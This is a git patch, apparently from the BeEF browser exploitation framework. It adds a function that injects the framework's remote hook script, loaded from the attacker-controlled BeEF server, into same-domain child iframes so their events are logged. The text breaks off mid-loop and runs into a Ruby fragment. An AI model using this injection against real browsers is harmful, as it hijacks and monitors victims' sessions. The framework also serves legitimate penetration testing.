From fb26ef5f71042d4be19ec92746cc7fff9e41a556 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 18 Mar 2013 00:37:15 +1030 Subject: [PATCH] Add `beef.browser.hookChildFrames()` BeEF now automatically hooks all same-domain child (i)frames Allows logging of child frame events - fixes issue #493 --- core/main/client/browser.js | 24 ++++++++++++++++++++++++ core/main/client/logger.js | 1 + extensions/events/handler.rb | 4 ++-- 3 files changed, 27 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 88926c088..860727cea 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -842,6 +842,30 @@ beef.browser = { return 'UNKNOWN'; // Unknown UA }, + /** + * Hooks all child frames in the current window + * Restricted by same-origin policy + */ + hookChildFrames:function () { + + // create script object + var script = document.createElement('script'); + script.type = 'text/javascript'; + script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>'; + + // loop through child frames + for (var i=0;i #{event['target']}" when 'submit'